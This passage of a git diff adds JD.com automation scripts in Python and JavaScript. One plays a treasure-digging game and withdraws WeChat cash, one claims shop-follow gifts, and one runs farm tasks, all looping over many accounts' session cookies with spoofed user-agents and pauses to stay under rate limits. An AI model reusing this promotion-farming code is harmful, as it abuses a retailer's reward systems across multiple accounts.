+ +# 剩余血量 +def xueliang(cookie): + body={"linkId":linkId,"round":1} + res=taskGetUrl("happyDigHome", body, cookie) + if not res: + return + if res['code']==0: + if res['success']: + curRound=res['data']['curRound'] # 未知 + blood=res['data']['blood'] # 剩余血量 + return blood + +def jinge(cookie,i): + body={"linkId":linkId} + res=taskGetUrl("happyDigHome", body, cookie) + if not res: + return + if res['code']==0: + if res['success']: + curRound=res['data']['curRound'] # 未知 + blood=res['data']['blood'] # 剩余血量 + roundList=res['data']['roundList'] # 3个总池子 + roundList_n=roundList[0] + redAmount=roundList_n['redAmount'] # 当前池已得京东红包 + cashAmount=roundList_n['cashAmount'] # 当前池已得微信红包 + + return [blood,redAmount,cashAmount] + +# 页面数据 +def happyDigHome(cookie): + body={"linkId":linkId,"round":1} + res=taskGetUrl("happyDigHome", body, cookie) + exit_flag = "false" + if not res: + return + if res['code']==0: + if res['success']: + curRound=res['data']['curRound'] # 未知 + incep_blood=res['data']['blood'] # 剩余血量 + roundList=res['data']['roundList'] # 3个总池子 + for e,roundList_n in enumerate(roundList): # 迭代每个池子 + roundid=roundList_n['round'] # 池序号 + state=roundList_n['state'] + rows=roundList_n['rows'] # 池规模,rows*rows + redAmount=roundList_n['redAmount'] # 当前池已得京东红包 + cashAmount=roundList_n['cashAmount'] # 当前池已得微信红包 + leftAmount=roundList_n['leftAmount'] # 剩余红包? + chunks=roundList_n['chunks'] # 当前池详情list + + a=jinge(cookie,roundid) + if roundid==1: + print(f'\n开始 "入门" 难度关卡({rows}*{rows})') + elif roundid==2: + print(f'\n开始 "挑战" 难度关卡({rows}*{rows})') + elif roundid==3: + print(f'\n开始 "终极" 难度关卡({rows}*{rows})') + print(f'当前剩余血量 {a[0]}🩸') + ## print(f'当前池已得京东红包 {a[2]}\n当前池已得微信红包 {a[1]}\n') + _blood=xueliang(cookie) + if _blood>1 or incep_blood>=21: + happyDigDo(cookie,roundid,0,0) + if e==0 or e==1: + roundid_n=4 + else: + roundid_n=5 + for n in range(roundid_n): + for i in range(roundid_n): + _blood=xueliang(cookie) + if _blood>1 or incep_blood>=21: + ## print(f'当前血量为 {_blood}') + a=n+1 + b=i+1 + print(f'挖取坐标({a},{b})') + happyDigDo(cookie,roundid,n,i) + else: + a=jinge(cookie,roundid) + print(f'没血了,不挖了') + exit_flag = "true" + ## print(f'当前池已得京东红包 {a[2]}\n当前池已得微信红包 {a[1]}\n') + break + + if exit_flag == "true": + break + if exit_flag == "true": + break + else: + print(f'获取数据失败\n{res}\n') + else: + print(f'获取数据失败\n{res}\n') + + + # 玩一玩 +def apDoTask(cookie): + print('开始做玩一玩任务') + body={"linkId":linkId,"taskType":"BROWSE_CHANNEL","taskId":454,"channel":4,"itemId":"https%3A%2F%2Fsignfree.jd.com%2F%3FactivityId%3DPiuLvM8vamONsWzC0wqBGQ","checkVersion":False} + res=taskGetUrl('apDoTask', body, cookie) + if not res: + return + try: + if res['success']: + print('玩好了') + else: + print(f"{res['errMsg']}") + except: + print(f"错误\n{res}") + + +# 挖宝 +def happyDigDo(cookie,roundid,rowIdx,colIdx): + body={"round":roundid,"rowIdx":rowIdx,"colIdx":colIdx,"linkId":linkId} + res=taskGetUrl("happyDigDo", body, cookie) + if not res: + return + if res['code']==0: + if res['success']: + typeid=res['data']['chunk']['type'] + if typeid==2: + print(f"获得极速版红包 {res['data']['chunk']['value']} 🧧\n") + elif typeid==3: + print(f"🎉 获得微信零钱 {res['data']['chunk']['value']} 💰\n") + elif typeid==4: + print(f"💥Boom💥 挖到了炸弹 💣\n") + elif typeid==1: + print(f"获得优惠券 🎟️\n") + else: + print(f'不知道挖到了什么 🎁\n') + else: + print(f'{res}\n挖宝失败\n') + else: + print(f'{res}\n挖宝失败\n') + +# # 助力码 +# def inviteCode(cookie): +# global inviteCode_1_list,inviteCode_2_list +# body={"linkId":linkId} +# res=taskGetUrl("happyDigHome", body, cookie) +# if not res: +# return +# try: +# if res['success']: +# print(f"账号{get_pin(cookie)}助力码为{res['data']['inviteCode']}") +# inviteCode_1_list.append(res['data']['inviteCode']) +# print(f"账号{get_pin(cookie)}助力码为{res['data']['markedPin']}") +# inviteCode_2_list.append(res['data']['markedPin']) +# else: +# print('快去买买买吧') +# except: +# print(f"错误\n{res}\n") + +# # 助力 +# def happyDigHelp(cookie,fcwbinviter,fcwbinviteCode): +# print(f"账号 {get_pin(cookie)} 去助力{fcwbinviteCode}") +# xueliang(cookie) +# body={"linkId":linkId,"inviter":fcwbinviter,"inviteCode":fcwbinviteCode} +# res=taskGetUrl("happyDigHelp", body, cookie) +# if res['success']: +# print('助力成功') +# else: +# print(res['errMsg']) + +# 领取奖励 +def happyDigExchange(cookie): + for n in range(1,4): + xueliang(cookie) + print(f"\n开始领取第{n}场的奖励") + body={"round":n,"linkId":linkId} + res=taskGetUrl("happyDigExchange", body, cookie) + if not res: + return + if res['code']==0: + if res['success']: + try: + print(f"已领取极速版红包 {res['data']['redValue']} 🧧") + except: + print('') + if res['data']['wxValue'] != "0": + try: + print(f"可提现微信零钱 {res['data']['wxValue']} 💰") + except: + pass + else: + print(res['errMsg']) + else: + print(res['errMsg']) + + + +# 微信现金id +def spring_reward_list(cookie): + happyDigExchange(cookie) + xueliang(cookie) + + body={"linkId":linkId,"pageNum":1,"pageSize":6} + res=taskGetUrl("spring_reward_list", body, cookie) + + if res['code']==0: + if res['success']: + items=res['data']['items'] + for _items in items: + amount=_items['amount'] # 金额 + prizeDesc=_items['prizeDesc'] # 金额备注 + amountid=_items['id'] # 金额id + poolBaseId=_items['poolBaseId'] + prizeGroupId=_items['prizeGroupId'] + prizeBaseId=_items['prizeBaseId'] + if '红包' in f"{prizeDesc}": + continue + if '券' in f"{prizeDesc}": + continue + else: + print('\n去提现微信零钱 💰') + time.sleep(3.2) + wecat(cookie,amountid,poolBaseId,prizeGroupId,prizeBaseId) + else: + print(f'获取数据失败\n{res}\n') + else: + print(f'获取数据失败\n{res}\n') + +# 微信提现 +def wecat(cookie,amountid,poolBaseId,prizeGroupId,prizeBaseId): + xueliang(cookie) + + url='https://api.m.jd.com' + headers={ + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'origin': 'https://bnzf.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": ua(), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + body={"businessSource":"happyDiggerH5Cash","base":{"id":amountid,"business":"happyDigger","poolBaseId":poolBaseId,"prizeGroupId":prizeGroupId,"prizeBaseId":prizeBaseId,"prizeType":4},"linkId":linkId} + data=f"functionId=apCashWithDraw&body={json.dumps(body)}&t=1635596380119&appid=activities_platform&client=H5&clientVersion=1.0.0" + for n in range(3): + try: + res=requests.post(url,headers=headers,data=data,timeout=10).json() + break + except: + if n==2: + print('API请求失败,请检查网路重试❗\n') + try: + if res['code']==0: + if res['success']: + print(res['data']['message']+'\n') + except: + print(res) + print('') + + +def main(): + print('🔔发财挖宝,开始!\n') + + # print('获取助力码\n') + # global inviteCode_1_list,inviteCode_2_list + # inviteCode_1_list=list() + # inviteCode_2_list=list() + # for cookie in cookie_list: + # inviteCode(cookie) + + # print('互助\n') + # inviteCode_2_list=inviteCode_2_list[:2] + # for e,fcwbinviter in enumerate(inviteCode_2_list): + # fcwbinviteCode=inviteCode_1_list[e] + # for cookie in cookie_list: + # happyDigHelp(cookie,fcwbinviter,fcwbinviteCode) + + print(f'====================共{len(cookie_list)}京东个账号Cookie=========\n') + + for e,cookie in enumerate(cookie_list,start=1): + print(f'******开始【账号 {e}】 {get_pin(cookie)} *********\n') + apDoTask(cookie) + happyDigHome(cookie) + spring_reward_list(cookie) + + +if __name__ == '__main__': + main() diff --git a/jd_follow_shop.js b/jd_follow_shop.js new file mode 100644 index 0000000..8475aa3 --- /dev/null +++ b/jd_follow_shop.js @@ -0,0 +1,125 @@ +/* +7 7 7 7 7 m_jd_follow_shop.js +*/ +let mode = __dirname.includes('magic') +const {Env} = mode ? require('./magic') : require('./magic') +const $ = new Env('M关注有礼'); +$.followShopArgv = process.env.M_FOLLOW_SHOP_ARGV + ? process.env.M_FOLLOW_SHOP_ARGV + : ''; +if (mode) { + $.followShopArgv = '1000104168_1000104168' +} +$.logic = async function () { + let argv = $?.followShopArgv?.split('_'); + $.shopId = argv?.[0]; + $.venderId = argv?.[1]; + if (!$.shopId || !$.venderId) { + $.log(`无效的参数${$.followShopArgv}`) + $.expire = true; + return + } + let actInfo = await getShopHomeActivityInfo(); + if (actInfo?.code !== '0') { + $.log(JSON.stringify(actInfo)) + if (actInfo?.message.includes('不匹配')) { + $.expire = true; + } + return + } + let actInfoData = actInfo?.result; + + if (actInfoData?.shopGifts?.filter(o => o.rearWord.includes('京豆')).length + > 0) { + $.activityId = actInfoData?.activityId?.toString(); + let gift = await drawShopGift(); + if (gift?.code !== '0') { + $.log(JSON.stringify(gift)) + return + } + let giftData = gift?.result; + $.log(giftData) + for (let ele of + giftData?.alreadyReceivedGifts?.filter(o => o.prizeType === 4) || []) { + $.putMsg(`${ele.redWord}${ele.rearWord}`); + } + } else { + $.putMsg(`没有豆子`); + } +}; +let kv = {'jd': '京豆', 'jf': '积分', 'dq': 'q券'} +$.after = async function () { + $.msg.push(`\n${(await $.getShopInfo()).shopName}`); + if ($?.content) { + let message = `\n`; + for (let ele of $.content || []) { + message += ` ${ele.takeNum || ele.discount} ${kv[ele?.type]}\n` + } + $.msg.push(message) + $.msg.push($.activityUrl); + } +} +$.run({whitelist: ['1-5'], wait: [1000, 3000]}).catch(reason => $.log(reason)) + +async function drawShopGift() { + $.log('店铺信息', $.shopId, $.venderId, $.activityId) + let sb = { + "follow": 0, + "shopId": $.shopId, + "activityId": $.activityId, + "sourceRpc": "shop_app_home_window", + "venderId": $.venderId + }; + let newVar = await $.sign('drawShopGift', sb); + + let headers = { + 'J-E-H': '', + 'Connection': 'keep-alive', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Host': 'api.m.jd.com', + 'Referer': '', + 'J-E-C': '', + 'Accept-Language': 'zh-Hans-CN;q=1, en-CN;q=0.9', + 'Accept': '*/*', + 'User-Agent': 'JD4iPhone/167841 (iPhone; iOS; Scale/3.00)' + } + // noinspection DuplicatedCode + headers['Cookie'] = $.cookie + let url = `https://api.m.jd.com/client.action?functionId=` + newVar.fn + let {status, data} = await $.request(url, headers, newVar.sign); + return data; +} + +async function getShopHomeActivityInfo() { + let sb = { + "shopId": $.shopId, + "source": "app-shop", + "latWs": "0", + "lngWs": "0", + "displayWidth": "1098.000000", + "sourceRpc": "shop_app_home_home", + "lng": "0", + "lat": "0", + "venderId": $.venderId + } + let newVar = await $.sign('getShopHomeActivityInfo', sb); + let headers = { + 'J-E-H': '', + 'Connection': 'keep-alive', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Host': 'api.m.jd.com', + 'Referer': '', + 'J-E-C': '', + 'Accept-Language': 'zh-Hans-CN;q=1, en-CN;q=0.9', + 'Accept': '*/*', + 'User-Agent': 'JD4iPhone/167841 (iPhone; iOS; Scale/3.00)' + } + // noinspection DuplicatedCode + headers['Cookie'] = $.cookie + let url = `https://api.m.jd.com/client.action?functionId=` + newVar.fn + let {status, data} = await $.request(url, headers, newVar.sign); + return data; +} + diff --git a/jd_fruit.js b/jd_fruit.js new file mode 100644 index 0000000..032704f --- /dev/null +++ b/jd_fruit.js @@ -0,0 +1,1605 @@ +/* +东东水果:脚本更新地址 https://gitee.com/lxk0301/jd_scripts/raw/master/jd_fruit.js +更新时间:2021-8-20 +活动入口:京东APP我的-更多工具-东东农场 +东东农场活动链接:https://h5.m.jd.com/babelDiy/Zeus/3KSjXqQabiTuD1cJ28QskrpWoBKT/index.html +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +互助码shareCode请先手动运行脚本查看打印可看到 +一天只能帮助3个人。多出的助力码无效 + +==========================Quantumultx========================= +[task_local] +#jd免费水果 +5 6-18/6 * * * https://gitee.com/lxk0301/jd_scripts/raw/master/jd_fruit.js, tag=东东农场, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdnc.png, enabled=true +=========================Loon============================= +[Script] +cron "5 6-18/6 * * *" script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_fruit.js,tag=东东农场 + +=========================Surge============================ +东东农场 = type=cron,cronexp="5 6-18/6 * * *",wake-system=1,timeout=3600,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_fruit.js + +=========================小火箭=========================== +东东农场 = type=cron,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_fruit.js, cronexpr="5 6-18/6 * * *", timeout=3600, enable=true + +jd免费水果 搬的https://github.com/liuxiaoyucc/jd-helper/blob/a6f275d9785748014fc6cca821e58427162e9336/fruit/fruit.js +*/ +const $ = new Env('东东农场互助版'); +let cookiesArr = [], cookie = '', isBox = false, notify,allMessage = ''; +//助力好友分享码(最多3个,否则后面的助力失败),原因:京东农场每人每天只有3次助力机会 +//此此内容是IOS用户下载脚本到本地使用,填写互助码的地方,同一京东账号的好友互助码请使用@符号隔开。 +//下面给出两个账号的填写示例(iOS只支持2个京东账号) + +let newShareCodes=[]; +let message = '', subTitle = '', option = {}, isFruitFinished = false; +const retainWater = $.isNode() ? (process.env.retainWater ? process.env.retainWater : 100) : ($.getdata('retainWater') ? $.getdata('retainWater') : 100);//保留水滴大于多少g,默认100g; +let jdNotify = false;//是否关闭通知,false打开通知推送,true关闭通知推送 +let jdFruitBeanCard = false;//农场使用水滴换豆卡(如果出现限时活动时100g水换20豆,此时比浇水划算,推荐换豆),true表示换豆(不浇水),false表示不换豆(继续浇水),脚本默认是浇水 +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +const urlSchema = `openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/3KSjXqQabiTuD1cJ28QskrpWoBKT/index.html%22%20%7D`; +let NowHour = new Date().getHours(); +let llhelp=true; +if ($.isNode() && process.env.CC_NOHELPAFTER8) { + if (process.env.CC_NOHELPAFTER8=="true"){ + if (NowHour>8){ + llhelp=false; + console.log(`现在是9点后时段,不启用互助....`); + } + } +} +const fs = require('fs'); +let boolneedUpdate=false; +let strShare = './Fruit_ShareCache.json'; +let Fileexists = fs.existsSync(strShare); +let TempShareCache = []; +if (Fileexists) { + console.log("检测到东东农场缓存文件Fruit_ShareCache.json,载入..."); + TempShareCache = fs.readFileSync(strShare, 'utf-8'); + if (TempShareCache) { + TempShareCache = TempShareCache.toString(); + TempShareCache = JSON.parse(TempShareCache); + } +} + +let WP_APP_TOKEN_ONE = ""; +/* if ($.isNode()) { + if (process.env.WP_APP_TOKEN_ONE) { + WP_APP_TOKEN_ONE = process.env.WP_APP_TOKEN_ONE; + } +} + +if (WP_APP_TOKEN_ONE) { + console.log(`检测到已配置Wxpusher的Token,启用一对一推送...`); + if (NowHour <9 || NowHour > 21) { + WP_APP_TOKEN_ONE = ""; + console.log(`农场只在9点后和22点前启用一对一推送,故此次暂时取消一对一推送...`); + } +} else + console.log(`检测到未配置Wxpusher的Token,禁用一对一推送...`); */ +let lnrun=0; +let llgetshare=false; +let NoNeedCodes = []; +!(async () => { + + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + if (llhelp) { + console.log('开始收集您的互助码,用于账号内部互助,请稍等...'); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + message = ''; + subTitle = ''; + option = {}; + $.retry = 0; + llgetshare=false; + await GetCollect(); + if(llgetshare){ + await $.wait(5000); + lnrun++; + } + if(lnrun==10){ + console.log(`访问接口次数达到10次,休息一分钟.....`); + await $.wait(60*1000); + lnrun=0; + } + } + } + if (boolneedUpdate) { + var str = JSON.stringify(TempShareCache, null, 2); + fs.writeFile(strShare, str, function (err) { + if (err) { + console.log(err); + console.log("缓存文件Fruit_ShareCache.json更新失败!"); + } else { + console.log("缓存文件Fruit_ShareCache.json更新成功!"); + } + }) + } + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + message = ''; + subTitle = ''; + option = {}; + $.retry = 0; + + lnrun++; + await jdFruit(); + if (lnrun == 5) { + console.log(`访问接口次数达到5次,休息一分钟.....`); + await $.wait(60 * 1000); + lnrun = 0; + } + } + } + if ($.isNode() && allMessage && $.ctrTemp) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdFruit() { + subTitle = `【京东账号${$.index}】${$.nickName || $.UserName}`; + try { + await initForFarm(); + if ($.farmInfo.farmUserPro) { + message = `【水果名称】${$.farmInfo.farmUserPro.name}\n`; + console.log(`\n【已成功兑换水果】${$.farmInfo.farmUserPro.winTimes}次\n`); + message += `【已兑换水果】${$.farmInfo.farmUserPro.winTimes}次\n`; + await masterHelpShare();//助力好友 + if ($.farmInfo.treeState === 2 || $.farmInfo.treeState === 3) { + option['open-url'] = urlSchema; + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n请去京东APP或微信小程序查看\n点击弹窗即达`, option); + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}水果已可领取`, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n请去京东APP或微信小程序查看`); + } + if ($.isNode() && WP_APP_TOKEN_ONE) { + await notify.sendNotifybyWxPucher($.name, `【京东账号】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n【领取步骤】京东->我的->东东农场兑换京东红包,可以用于京东app的任意商品.`, `${$.UserName}`); + } + return + } else if ($.farmInfo.treeState === 1) { + console.log(`\n${$.farmInfo.farmUserPro.name}种植中...\n`) + } else if ($.farmInfo.treeState === 0) { + //已下单购买, 但未开始种植新的水果 + option['open-url'] = urlSchema; + $.msg($.name, ``, `【京东账号${$.index}】 ${$.nickName || $.UserName}\n【提醒⏰】您忘了种植新的水果\n请去京东APP或微信小程序选购并种植新的水果\n点击弹窗即达`, option); + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 您忘了种植新的水果`, `京东账号${$.index} ${$.nickName || $.UserName}\n【提醒⏰】您忘了种植新的水果\n请去京东APP或微信小程序选购并种植新的水果`); + } + return + } + await doDailyTask(); + await doTenWater();//浇水十次 + await getFirstWaterAward();//领取首次浇水奖励 + await getTenWaterAward();//领取10浇水奖励 + await getWaterFriendGotAward();//领取为2好友浇水奖励 + await duck(); + await doTenWaterAgain();//再次浇水 + await predictionFruit();//预测水果成熟时间 + } else { + console.log(`初始化农场数据异常, 请登录京东 app查看农场功能是否正常`); + message+=`初始化农场数据异常, 请登录京东 app查看农场功能是否正常`; + } + } catch (e) { + console.log(`任务执行异常,请检查执行日志 ‼️‼️`); + $.logErr(e); + const errMsg = `京东账号${$.index} ${$.nickName || $.UserName}\n任务执行异常,请检查执行日志 ‼️‼️`; + if ($.isNode()) await notify.sendNotify(`${$.name}`, errMsg); + $.msg($.name, '', `${errMsg}`) + } + await showMsg(); +} +async function doDailyTask() { + await taskInitForFarm(); + console.log(`开始签到`); + if (!$.farmTask.signInit.todaySigned) { + await signForFarm(); //签到 + if ($.signResult.code === "0") { + console.log(`【签到成功】获得${$.signResult.amount}g💧\\n`) + //message += `【签到成功】获得${$.signResult.amount}g💧\n`//连续签到${signResult.signDay}天 + } else { + // message += `签到失败,详询日志\n`; + console.log(`签到结果: ${JSON.stringify($.signResult)}`); + } + } else { + console.log(`今天已签到,连续签到${$.farmTask.signInit.totalSigned},下次签到可得${$.farmTask.signInit.signEnergyEachAmount}g\n`); + } + // 被水滴砸中 + console.log(`被水滴砸中: ${$.farmInfo.todayGotWaterGoalTask.canPop ? '是' : '否'}`); + if ($.farmInfo.todayGotWaterGoalTask.canPop) { + await gotWaterGoalTaskForFarm(); + if ($.goalResult.code === '0') { + console.log(`【被水滴砸中】获得${$.goalResult.addEnergy}g💧\\n`); + // message += `【被水滴砸中】获得${$.goalResult.addEnergy}g💧\n` + } + } + console.log(`签到结束,开始广告浏览任务`); + if ($.farmTask.gotBrowseTaskAdInit.f) { + console.log(`今天已经做过浏览广告任务\n`); + } else { + let adverts = $.farmTask.gotBrowseTaskAdInit.userBrowseTaskAds + let browseReward = 0 + let browseSuccess = 0 + let browseFail = 0 + for (let advert of adverts) { //开始浏览广告 + if (advert.limit <= advert.hadFinishedTimes) { + // browseReward+=advert.reward + console.log(`${advert.mainTitle}+ ' 已完成`);//,获得${advert.reward}g + continue; + } + console.log('正在进行广告浏览任务: ' + advert.mainTitle); + await browseAdTaskForFarm(advert.advertId, 0); + if ($.browseResult.code === '0') { + console.log(`${advert.mainTitle}浏览任务完成`); + //领取奖励 + await browseAdTaskForFarm(advert.advertId, 1); + if ($.browseRwardResult.code === '0') { + console.log(`领取浏览${advert.mainTitle}广告奖励成功,获得${$.browseRwardResult.amount}g`) + browseReward += $.browseRwardResult.amount + browseSuccess++ + } else { + browseFail++ + console.log(`领取浏览广告奖励结果: ${JSON.stringify($.browseRwardResult)}`) + } + } else { + browseFail++ + console.log(`广告浏览任务结果: ${JSON.stringify($.browseResult)}`); + } + } + if (browseFail > 0) { + console.log(`【广告浏览】完成${browseSuccess}个,失败${browseFail},获得${browseReward}g💧\\n`); + // message += `【广告浏览】完成${browseSuccess}个,失败${browseFail},获得${browseReward}g💧\n`; + } else { + console.log(`【广告浏览】完成${browseSuccess}个,获得${browseReward}g💧\n`); + // message += `【广告浏览】完成${browseSuccess}个,获得${browseReward}g💧\n`; + } + } + //定时领水 + if (!$.farmTask.gotThreeMealInit.f) { + // + await gotThreeMealForFarm(); + if ($.threeMeal.code === "0") { + console.log(`【定时领水】获得${$.threeMeal.amount}g💧\n`); + // message += `【定时领水】获得${$.threeMeal.amount}g💧\n`; + } else { + // message += `【定时领水】失败,详询日志\n`; + console.log(`定时领水成功结果: ${JSON.stringify($.threeMeal)}`); + } + } else { + console.log('当前不在定时领水时间断或者已经领过\n') + } + //给好友浇水 + if (!$.farmTask.waterFriendTaskInit.f) { + if ($.farmTask.waterFriendTaskInit.waterFriendCountKey < $.farmTask.waterFriendTaskInit.waterFriendMax) { + await doFriendsWater(); + } + } else { + console.log(`给${$.farmTask.waterFriendTaskInit.waterFriendMax}个好友浇水任务已完成\n`) + } + + await getAwardInviteFriend(); + await clockInIn();//打卡领水 + await executeWaterRains();//水滴雨 + await getExtraAward();//领取额外水滴奖励 + await turntableFarm()//天天抽奖得好礼 +} +async function predictionFruit() { + console.log('开始预测水果成熟时间\n'); + await initForFarm(); + await taskInitForFarm(); + let waterEveryDayT = $.farmTask.totalWaterTaskInit.totalWaterTaskTimes;//今天到到目前为止,浇了多少次水 + message += `【今日共浇水】${waterEveryDayT}次\n`; + message += `【剩余 水滴】${$.farmInfo.farmUserPro.totalEnergy}g💧\n`; + message += `【水果🍉进度】${(($.farmInfo.farmUserPro.treeEnergy / $.farmInfo.farmUserPro.treeTotalEnergy) * 100).toFixed(2)}%,已浇水${$.farmInfo.farmUserPro.treeEnergy / 10}次,还需${($.farmInfo.farmUserPro.treeTotalEnergy - $.farmInfo.farmUserPro.treeEnergy) / 10}次\n` + if ($.farmInfo.toFlowTimes > ($.farmInfo.farmUserPro.treeEnergy / 10)) { + message += `【开花进度】再浇水${$.farmInfo.toFlowTimes - $.farmInfo.farmUserPro.treeEnergy / 10}次开花\n` + } else if ($.farmInfo.toFruitTimes > ($.farmInfo.farmUserPro.treeEnergy / 10)) { + message += `【结果进度】再浇水${$.farmInfo.toFruitTimes - $.farmInfo.farmUserPro.treeEnergy / 10}次结果\n` + } + // 预测n天后水果课可兑换功能 + let waterTotalT = ($.farmInfo.farmUserPro.treeTotalEnergy - $.farmInfo.farmUserPro.treeEnergy - $.farmInfo.farmUserPro.totalEnergy) / 10;//一共还需浇多少次水 + + let waterD = Math.ceil(waterTotalT / waterEveryDayT); + + message += `【预测】${waterD === 1 ? '明天' : waterD === 2 ? '后天' : waterD + '天之后'}(${timeFormat(24 * 60 * 60 * 1000 * waterD + Date.now())}日)可兑换水果🍉` +} +//浇水十次 +async function doTenWater() { + try { + jdFruitBeanCard = $.getdata('jdFruitBeanCard') ? $.getdata('jdFruitBeanCard') : jdFruitBeanCard; + if ($.isNode() && process.env.FRUIT_BEAN_CARD) { + jdFruitBeanCard = process.env.FRUIT_BEAN_CARD; + } + await myCardInfoForFarm(); + const { + fastCard, + doubleCard, + beanCard, + signCard + } = $.myCardInfoRes; + /* if (`${jdFruitBeanCard}` === 'true' && JSON.stringify($.myCardInfoRes).match(`限时翻倍`) && beanCard > 0) { + console.log(`您设置的是使用水滴换豆卡,且背包有水滴换豆卡${beanCard}张, 跳过10次浇水任务`) + return + } */ + if ($.farmTask.totalWaterTaskInit.totalWaterTaskTimes < $.farmTask.totalWaterTaskInit.totalWaterTaskLimit) { + console.log(`\n准备浇水十次`); + let waterCount = 0; + isFruitFinished = false; + for (; waterCount < $.farmTask.totalWaterTaskInit.totalWaterTaskLimit - $.farmTask.totalWaterTaskInit.totalWaterTaskTimes; waterCount++) { + console.log(`第${waterCount + 1}次浇水`); + await waterGoodForFarm(); + console.log(`本次浇水结果: ${JSON.stringify($.waterResult)}`); + if ($.waterResult.code === '0') { + console.log(`剩余水滴${$.waterResult.totalEnergy}g`); + if ($.waterResult.finished) { + // 已证实,waterResult.finished为true,表示水果可以去领取兑换了 + isFruitFinished = true; + break + } else { + if ($.waterResult.totalEnergy < 10) { + console.log(`水滴不够,结束浇水`) + break + } + await gotStageAward(); //领取阶段性水滴奖励 + } + } else { + console.log('浇水出现失败异常,跳出不在继续浇水') + break; + } + } + if (isFruitFinished) { + option['open-url'] = urlSchema; + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n请去京东APP或微信小程序查看\n点击弹窗即达`, option); + $.done(); + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}水果已可领取`, `京东账号${$.index} ${$.nickName || $.UserName}\n${$.farmInfo.farmUserPro.name}已可领取`); + } + if ($.isNode() && WP_APP_TOKEN_ONE) { + await notify.sendNotifybyWxPucher($.name, `【京东账号】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n【领取步骤】京东->我的->东东农场兑换京东红包,可以用于京东app的任意商品.`, `${$.UserName}`); + } + } + } else { + console.log('\n今日已完成10次浇水任务\n'); + } + } catch (e) { + console.log(`doTenWater 任务执行异常‼️‼️`); + $.logErr(e); + } +} +//领取首次浇水奖励 +async function getFirstWaterAward() { + await taskInitForFarm(); + //领取首次浇水奖励 + if (!$.farmTask.firstWaterInit.f && $.farmTask.firstWaterInit.totalWaterTimes > 0) { + await firstWaterTaskForFarm(); + if ($.firstWaterReward.code === '0') { + console.log(`【首次浇水奖励】获得${$.firstWaterReward.amount}g💧\n`); + // message += `【首次浇水奖励】获得${$.firstWaterReward.amount}g💧\n`; + } else { + // message += '【首次浇水奖励】领取奖励失败,详询日志\n'; + console.log(`领取首次浇水奖励结果: ${JSON.stringify($.firstWaterReward)}`); + } + } else { + console.log('首次浇水奖励已领取\n') + } +} +//领取十次浇水奖励 +async function getTenWaterAward() { + //领取10次浇水奖励 + if (!$.farmTask.totalWaterTaskInit.f && $.farmTask.totalWaterTaskInit.totalWaterTaskTimes >= $.farmTask.totalWaterTaskInit.totalWaterTaskLimit) { + await totalWaterTaskForFarm(); + if ($.totalWaterReward.code === '0') { + console.log(`【十次浇水奖励】获得${$.totalWaterReward.totalWaterTaskEnergy}g💧\n`); + // message += 